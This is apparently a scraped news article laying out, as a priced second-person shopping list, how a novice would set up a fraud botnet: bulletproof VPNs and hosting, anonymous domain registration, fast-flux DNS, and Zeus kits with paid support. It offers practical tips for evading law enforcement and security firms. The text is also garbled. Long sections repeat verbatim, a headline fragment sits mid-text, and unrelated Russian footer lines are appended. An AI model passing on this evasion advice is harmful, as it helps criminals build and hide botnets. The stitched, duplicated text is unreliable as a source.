For really hard-core criminal undertakings, there are the more specialized underground «bulletproof» hosting services that are run specifically for malware owners. These offer hosting at a significant markup in exchange for looking the other way. These operations generally don’t maintain webpages. They advertise strictly in underground forums and do business over ICQ, Jabber, and other instant messaging.

An ad on a Russian "underground" board for "bulletproof" hosting.

Enlarge / An ad on a Russian «underground» board for «bulletproof» hosting.

Mihai Ionut Paunescu, the 28-year old Romanian behind underground host powerhost.ro, was caught in December by Romanian authorities. His servers were home to the Gozi financial malware command and control network. Paunescu kept tabs on exactly what sort of business his users were up to and charged accordingly. In some cases, the rates reached thousands per month, averaging better than a 100-percent margin on the servers he managed.

Of course, many of these hosting companies provide support (in some cases, 24-hour voice support via phone or Skype) and help with configuring Apache and MySQL on dedicated hosts for customers who are generally clueless about such things.

Budget Botnet Shopper’s Price: $50/month, plus spot «consulting.»

Bulletproof domains and “fast flux”

In order for your bots to reach your host reliably, you need some domain names—fully qualified domain names that allow you to have full control over the domain name service (DNS). You’ll want a bunch so you can avoid making yourself obvious in the DNS logs of networks that get infected.

You’ll also want to register those domains with a registrar that’s not going to roll on you and shut you down on the first complaint of abuse. You need someone who will shield your identity from the prying eyes of security firms and law enforcement. In other words, you want a bulletproof registrar. Preferably, it’s one that accepts payments via Western Union or some other anonymous service.

Of course, it’s never a bad idea to have some additional protection to make sure that you cover your trail completely by using a «fast flux» scheme. This hides your servers’ true location by assigning the DNS addresses to a rapidly changing set of proxies. Fast flux providers will take your domains—or even register them for you—and then assign host names to a collection of their own bots. These in turn pass traffic between your bots and your server. By using a short «time to live» for the host «A» name records in the DNS server, fast flux systems create hundreds of potential communication paths for the bots.

Fast flux service is costly. An advertisement on one forum recently offered to support five DNS name servers for customers starting at $800. So for most starting botnet operations getting their feet wet, just registering a few domain names may be enough to begin with.

Budget Botnet Shopper’s Price: $50 for five domains.

Your choice of botnet / C&C platform

The current editions of botnet-building frameworks are sometimes sold by their developers for premium prices. Carberp was sold by its developers prior to their recent arrest for a whopping $40,000 as a kit, while the current Zeus toolkit sold for about $400 when it first hit the market. But the market pays what the market can bear, and most first-timers can find less expensive options that are easier to sustain.

A modified version of Zeus retooled with beginner kits, available starting at $1,300.

Enlarge / A modified version of Zeus retooled with beginner kits, available starting at $1,300.

Do-it-yourselfers who don’t care about things like patches and full support can find «cracked» versions of some of these toolkits (or ways to disable their licensing code) for free. There’s also an option to pick up older but still supported versions on the aftermarket. Zeus’ source code was released to the world last year, sort of turning it into «open source,» so you can now purchase supported versions of it for $125, plus $15 per month for updates to the code and $25 for monthly 24/7 new customer support. That could include everything from helping a noob fix a misconfigured server to doing a whole walkthrough of configuring the PHP scripts and MySQL backends for the system over Skype. You could always just use one of those YouTube guides, though, and save some money.

Budget Botnet Shopper’s Price: $125, plus $40/month for support.

Biz & IT —

For a few hundred dollars, you can get tools and 24/7 support for Internet crime.

Building a botnet shopping list

I did some additional research afterward to check Goncharov’s math, and I also looked at some alternative approaches. The underground software market for hacking, fraud, and botnet tools has matured to the point where developers provide most of what you’d expect from legitimate software and online service providers—maybe even more. There’s full support for the paid services, including 24/7 voice support in some cases, in a business where positive word of mouth in forums is the best (and often only) advertising. And there’s no shortage of «consultants» to help you get started.

Botnet software itself is an important part of the whole equation, but it’s only a fraction of first-month startup costs—and one that’s fungible if you’re willing to invest some of your own sweat equity in the setup (or dispense with the «legitimate» route and use a cracked version without software support). Just like any Internet business, launching a financial fraud botnet—or any kind of long-running botnet endeavor—requires a sustainable business plan. You need to know your target market, ensure distribution, keep your installed base a step ahead of the competition, and keep your business processes secure.

Here’s a typical botnet-herder’s startup shopping list:

A “bulletproof” VPN

Before you start building a bot army of incredible magnitude, you need—just as with any other hacking endeavor of questionable legality—to hide yourself from prying eyes. That means using some sort of tool to avoid monitoring by your ISP, law enforcement, and other cybercriminals. Generally speaking, the best way is a virtual private network.

As confessed LulzSec member Cody Kretsinger found out, not all VPN providers are created equal. He used a service called HideMyAss.com, a VPN and proxy service run by UK-based Privax Ltd. Unfortunately, he didn’t read the company’s privacy and legal policies, and they gave up his logs when law enforcement came knocking. «Bulletproof» VPN services are ones that claim to be shielded from law enforcement requests because of their location or logging practices. Many of these services have disclaimers about «abuse» of the services, but the fact is that they take a number of anonymous forms of payment (CryptoVPN, for example, accepts Liberty Reserve, Bitcoin, and a number of other similar anonymous payment services). At worst, these services may just cancel your account if it attracts too much trouble.

A typical «bulletproof» VPN service, such as CryptoVPN runs about $25 a month. If you’re thinking long-term, you can sign-up for $200 a year. However, it’s best not to think long-term if you’re botnet-herding; it may behoove you to change services every now and then to keep your profile low.

Budget Botnet Shopper’s Price: $25 / month.

A “bulletproof” host

Once you’ve got your network secured, you need some place to host your botnet’s command and control network and all of the other assorted badness needed to launch a massive assault on the unsuspecting world. For those without the skills, time, or desire to simply go hack someone else’s server every couple of weeks, that means buying a dedicated or virtual dedicated server from someone who doesn’t care what you’re doing—lest your botnet’s nerve center be wiped during a security sweep or seized by law enforcement.

There are many kinds of «bulletproof» hosts catering to various kinds of customers. Most of them buy space in data centers around the world in places with either weak data privacy laws or plain disregard for what other countries’ laws say. This provides a sort of insurance policy for their customers, Goncharov said. At a minimum, the data on the servers won’t be given up to law enforcement.

Some are smaller hosting companies such as Hostim VSE, a Romanian hosting company with a Russian language website more targeted at protecting pornographers, pirates, and other targets of DMCA takedown requests. Hostim VSE publicly denounces botnetters and financial fraudsters to prevent attention from local law enforcement. It describes «bulletproof hosting» as «hosting resistant to complaints and other types of attacks on competitors. When placed on a standard website hosting, your site can receive complaints from competitors under the guise of copyright holders. In consequence of this, most other hosting providers disable your site until the circumstances [change]. We also review all such complaints, check its validity, conduct a site audit, demand [the accuser] to produce documents confirming the rights, and otherwise deal with all to settle the conflict, and only then disable the client’s site.»

All of this, the company says with a wink, takes a lot of time and human resources, and as a small company there may be some delays before it gets around to it. In other words, «don’t worry—we’re inefficient.» Hostim VSE’s dedicated servers start at $39/month with additional charges for more bandwidth. The company also, ironically, provides DDoS protection and other support services. But prices for its services will rise dramatically if you’re attracting too much attention or using too much bandwidth.

For really hard-core criminal undertakings, there are the more specialized underground «bulletproof» hosting services that are run specifically for malware owners. These offer hosting at a significant markup in exchange for looking the other way. These operations generally don’t maintain webpages. They advertise strictly in underground forums and do business over ICQ, Jabber, and other instant messaging.

An ad on a Russian "underground" board for "bulletproof" hosting.

Enlarge / An ad on a Russian «underground» board for «bulletproof» hosting.

Mihai Ionut Paunescu, the 28-year old Romanian behind underground host powerhost.ro, was caught in December by Romanian authorities. His servers were home to the Gozi financial malware command and control network. Paunescu kept tabs on exactly what sort of business his users were up to and charged accordingly. In some cases, the rates reached thousands per month, averaging better than a 100-percent margin on the servers he managed.

Of course, many of these hosting companies provide support (in some cases, 24-hour voice support via phone or Skype) and help with configuring Apache and MySQL on dedicated hosts for customers who are generally clueless about such things.

Budget Botnet Shopper’s Price: $50/month, plus spot «consulting.»

Bulletproof domains and “fast flux”

In order for your bots to reach your host reliably, you need some domain names—fully qualified domain names that allow you to have full control over the domain name service (DNS). You’ll want a bunch so you can avoid making yourself obvious in the DNS logs of networks that get infected.

You’ll also want to register those domains with a registrar that’s not going to roll on you and shut you down on the first complaint of abuse. You need someone who will shield your identity from the prying eyes of security firms and law enforcement. In other words, you want a bulletproof registrar. Preferably, it’s one that accepts payments via Western Union or some other anonymous service.

Of course, it’s never a bad idea to have some additional protection to make sure that you cover your trail completely by using a «fast flux» scheme. This hides your servers’ true location by assigning the DNS addresses to a rapidly changing set of proxies. Fast flux providers will take your domains—or even register them for you—and then assign host names to a collection of their own bots. These in turn pass traffic between your bots and your server. By using a short «time to live» for the host «A» name records in the DNS server, fast flux systems create hundreds of potential communication paths for the bots.

Fast flux service is costly. An advertisement on one forum recently offered to support five DNS name servers for customers starting at $800. So for most starting botnet operations getting their feet wet, just registering a few domain names may be enough to begin with.

Budget Botnet Shopper’s Price: $50 for five domains.

Your choice of botnet / C&C platform

The current editions of botnet-building frameworks are sometimes sold by their developers for premium prices. Carberp was sold by its developers prior to their recent arrest for a whopping $40,000 as a kit, while the current Zeus toolkit sold for about $400 when it first hit the market. But the market pays what the market can bear, and most first-timers can find less expensive options that are easier to sustain.

A modified version of Zeus retooled with beginner kits, available starting at $1,300.

Enlarge / A modified version of Zeus retooled with beginner kits, available starting at $1,300.

Do-it-yourselfers who don’t care about things like patches and full support can find «cracked» versions of some of these toolkits (or ways to disable their licensing code) for free. There’s also an option to pick up older but still supported versions on the aftermarket. Zeus’ source code was released to the world last year, sort of turning it into «open source,» so you can now purchase supported versions of it for $125, plus $15 per month for updates to the code and $25 for monthly 24/7 new customer support. That could include everything from helping a noob fix a misconfigured server to doing a whole walkthrough of configuring the PHP scripts and MySQL backends for the system over Skype. You could always just use one of those YouTube guides, though, and save some money.

Budget Botnet Shopper’s Price: $125, plus $40/month for support.

Понравилась статья? Поделить с друзьями:
  • Как написать бота рэп
  • Как написать бота на пхп
  • Как написать бота на джава скрипт
  • Как написать бота для трейдинга
  • Как написать бота для телеграмм на python